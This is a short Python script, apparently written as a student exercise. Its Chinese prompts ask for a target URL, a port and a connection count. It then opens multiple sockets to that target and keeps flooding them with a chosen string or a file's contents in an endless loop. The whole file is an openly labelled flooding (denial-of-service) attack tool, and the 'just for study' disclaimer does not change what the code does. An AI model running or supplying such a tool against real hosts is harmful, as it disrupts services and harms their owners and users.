#!/usr/bin/env python
# -*- coding:utf-8 -*-
"""
@ author:konnlee
@ time  :2020/5/17 19:46
@ School:BESTI
@ Tips  :Just for study,if anything goes wrong, I won't take the blame!
"""
import socket
import time
import threading


def conn_target():
    global socks
    for i in range(0, max_conn):
        s = socket.socket()
        try:
            s.connect((HOST, target_port))
            print('\n', '*'*50, "\n第", (i+1), "个套接字对象创建完毕\n", '*'*50, '\n')
            s.send('I am a hacker'.encode())
            socks.append(s)
        except Exception as e:
            print("对方防护太强，打不过了嘤嘤嘤>_<")


def send_target():
    global socks
    time.sleep(max_conn * 0.1)
    choose = input("请选择攻击数据量（1:字符级  2:文件级）：")
    if choose == '1':
        str_send = input("请输入要发送的攻击字符串：")
        while True:
            for s in socks:
                s.send(str_send.encode())
                print("successfully send", str_send, '!')
            time.sleep(0.1)
    elif choose == '2':
        while True:
            for s in socks:
                with open('send', 'rb') as f:
                    for line in f:
                        s.send(line)
                        print('Successfully send:', line.decode())
    else:
        print("由于你输入了错误选项，你选择了放弃攻击")


if __name__ == "__main__":
    socks = []  # 存储请求到的套接字对象
    print("QQ小介温馨提示：攻击有风险，小心被封ip！！！！！")
    max_conn = int(input("请输入最大链接数量（数量越多数据包发送越频繁，不建议超过10个）："))  # 最大socket链接量
    target_port = int(input("请输入请求端口："))
    HOST = input("请输入攻击对象的URL链接：")
    conn = threading.Thread(target=conn_target, args=())
    send = threading.Thread(target=send_target, args=())
    conn.start()
    send.start()
